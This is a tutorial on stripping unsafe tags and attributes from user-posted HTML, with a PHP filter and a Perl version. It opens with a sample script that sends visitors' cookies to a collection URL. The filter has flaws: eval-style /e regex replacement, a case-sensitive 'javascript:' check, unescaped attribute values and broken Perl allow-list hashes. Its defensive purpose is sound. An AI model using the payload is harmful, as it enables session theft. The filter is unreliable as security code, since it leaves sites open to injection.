Processing HTML

By Cal Henderson

If you're accepting and displaying user input on your site then it's important that you don't leave yourself open to abuse. Imagine a messagboard that allows HTML - someone could post the following:

```
<script>
 var url = 'http://www.mysite.com/send_me_passwords.cgi';
 url = url + '?cookie=' + escape(document.cookie)
 document.write('<script src="'+url+'">');
</script>
```

This would enable the poster to collect the cookies (and thus possibly the login details) of any user who visits the page. Your first line of defense against this is the php function *strip_tags()*. This removes HTML (and PHP) tags from a string, leaving the tags you specify. Using this function, you can remove all but <img> and <b> tags, for instance. Unfortunately this doesn't help either:

```
<img src="pic.gif" onload="javascript here...">
```

So what we really need is a function that will only allow tags, and only certain attributes of those tags.

Now we know what we want, we can create a prototype. We know that we'll have to pass in our raw data, and expect some processed data returned. We'll also need to tell the function what tags and attributes we'd like to allow.

```
$allowed = array(
 'a' => array('href', 'target'),
 'b' => array(),
 'img' => array('src', 'width', 'height', 'alt'),
);

$processed_data = check_tags($raw_data, $allowed);
```

Here i've used an array to specify the tags to be allowed. Each key represents the name of the tag, and the value is another array, containing a list of allowed attribute names.

Now that we have a prototype, let's think about how to implement the function. Since we need to look at each tag in turn, the sensible way to do this is to use a regular expression search and replace. It quite a complicated replace, so we use the /e modifier to call a function which will then process the tag.

```
function check_tags($data, $allowed){
 $data = preg_replace("/<(.*?)>/e",
  "process_tag(StripSlashes('\\1'), \$allowed)",
  $data);
 return $data;
}
```

For every tag found, it is passed to a second function, *process_tag()* which then checks the individual tag. We must use *StripSlashes()* since *preg_replace()* automatically quotes matches when used in /e mode.

Within the *process_tag()* function, we need to identify the type of tag passed. It could be a starting tag (<tag...>), an ending tag (</tag>) or some garbage. The function needs to treat each one differently.

For ending tags, we need to extract the tag name (in case anything else was passed along too, e.g. </a onmouseover="">), check if it's allowed, then return.

```
 # ending tags
if (preg_match("/^\/([a-z0-9]+)/i", $data, $matches)){
 $name = StrToLower($matches[1]);
 if (in_array($name, array_keys($allowed))){
  return '</'.$name.'>';
 }else{
  return '';
 }
}
```

This is pretty straight forward - extract the name at the beginning of the tag, after the slash. Convert it to lowercase and check against the keys in our *$allowed* array. If it's ok, return the tag, else return nothing.

The real code comes when evaluatiung starting tags. Let's see the code first, then explain what it's doing.

```
 # starting tags
if (preg_match("/^([a-z0-9]+)(.*?)(\/?)$/i", $data, $matches)){
 $name = StrToLower($matches[1]);
 $body = $matches[2];
 $ending = $matches[3];
 if (in_array($name, array_keys($allowed))){
  $params = "";
  preg_match_all("/([a-z0-9]+)=\"(.*?)\"/i", $body,
   $matches_2, PREG_SET_ORDER);
  preg_match_all("/([a-z0-9]+)=([^\"\s]+)/i", $body,
   $matches_1, PREG_SET_ORDER);
  $matches = array_merge($matches_1, $matches_2);
  foreach($matches as $match){
   $pname = StrToLower($match[1]);
   if (in_array($pname, $allowed[$name])){
    $params .= " $pname=\"$match[2]\"";
   }
  }
  return '<'.$name.$params.$ending.'>';
 }else{
  return '';
 }
}
```

We first check if we have a starting tag. At this point we extract the tag name, the optional trailing slash (for XHTML) and everything inbetween (we call this the 'body' of the tag). As before, we convert the tag name to lowercase and check that the tag is allowed.

Once we've got the tag body and verified that the tag is allowed, we want to parse the tag's parameters. There are two forms that the parameters can take (*key="value"* and *key=value*) so we use two regular expressions to match them, then join the results using *array_merge()*. We have to be careful here than we don't match parameters more than once.

Once we've got the parameters as an array, we go through them one by one, checking them against the allowed parameters list (by converting it to lowercase). If the parameter is allowed, then it is added to the list of valid parameters for the tag, in it's full *key="value"* format. We can then return the tag, complete with name, parameters and optional trailing slash.

Let's look at some test data. The following input...

```
 <b onload="a">test 1</b>
<img src="abc" width=20 onmouseover="123">
<div id="a">hello</div>
```

...when converted, becomes this:

```
 <b>test 1</b>
<img width="20" src="abc">
hello
```

Note that the order of parameters is not preserved, but the unquoted parameters become quoted.

There's one final trick to make sure that all the HTML posted is friendly. Consider the following snippet:

```
 <a href="javascript:evil_javascript_here;">click me</a>
```

While you would have to be foolish to click on links without looking, people do it. This is pretty easy to block though, by adding a line into our first function:

```
 $data = str_replace('javascript:','#',$data);
```

This renders all javascript code useless - the brower will just treat it as an in-page anchor.

The code in full:

```
 $allowed = array(
  'a' => array('href', 'target'),
  'b' => array(),
  'img' => array('src', 'width', 'height', 'alt'),
 );

 $processed_data = check_tags($raw_data, $allowed);


 function check_tags($data, $allowed){
  $data = preg_replace("/<(.*?)>/e",
   "process_tag(StripSlashes('\\1'), \$allowed)",
   $data);
```

```
 $data = str_replace('javascript:','#',$data);
 return $data;
}


function process_tag($data, $allowed){

 # ending tags
 if (preg_match("/^\/([a-z0-9]+)/i", $data, $matches)){
  $name = StrToLower($matches[1]);
  if (in_array($name, array_keys($allowed))){
   return '</'.$name.'>';
  }else{
   return '';
  }
 }

 # starting tags
 if (preg_match("/^([a-z0-9]+)(.*?)(\/?)$/i", $data, $matches)){
  $name = StrToLower($matches[1]);
  $body = $matches[2];
  $ending = $matches[3];
  if (in_array($name, array_keys($allowed))){
   $params = "";
   preg_match_all("/([a-z0-9]+)=\"(.*?)\"/i", $body,
    $matches_2, PREG_SET_ORDER);
   preg_match_all("/([a-z0-9]+)=([^\"\s]+)/i", $body,
    $matches_1, PREG_SET_ORDER);
   $matches = array_merge($matches_1, $matches_2);
   foreach($matches as $match){
    $pname = StrToLower($match[1]);
    if (in_array($pname, $allowed[$name])){
     $params .= " $pname=\"$match[2]\"";
    }
   }
   return '<'.$name.$params.$ending.'>';
  }else{
   return '';
  }
 }

 # garbage, ignore it
 return '';
}
```

And as a bonus, here's how we'd do it in perl...

```
 my $allowed = {
  'a' => {'href', 'target'},
  'b' => {},
  'img' => {'src', 'width', 'height', 'alt'},
```

```
};

my $processed_data = &check_tags($raw_data, $allowed);

sub check_tags(){
 my ($data, $allowed) = @_;
 $data =~ s/<(.*?)>/&process_tag($1,$allowed)/eg;
 $data =~ s/javascript:/#/ig;
 return $data;
}

sub process_tag(){
 my ($data, $allowed) = @_;

 # ending tags
 if ($data =~ /^\/([a-z0-9]+)/i){
  my $name = lc($1);
  if (exists $allowed->{$name}){
   return '</'.$name.'>';
  }else{
   return '';
  }
 }

 # starting tags
 if ($data =~ /^([a-z0-9]+)(.*?)(\/?)$/i){
  my $name = lc($1);
  my $body = $2;
  my $ending = $3;
  if (exists $allowed->{$name}){
   my $params = "";
   while ($body =~ /([a-z0-9]+)=\"(.*?)\"/gi){
    my $pname = lc($1);
    if (exists $allowed->{$name}->{$pname}){
     $params .= " $pname=\"$2\"";
    }
   }
   while ($body =~ /([a-z0-9]+)=([^\"\s]+)/gi){
    my $pname = lc($1);
    if (exists $allowed->{$name}->{$pname}){
     $params .= " $pname=\"$2\"";
    }
   }
   return '<'.$name.$params.$ending.'>';
  }else{
   return '';
  }
 }

 # garbage, ignore it
 return '';
```

```
}
```

(end of article)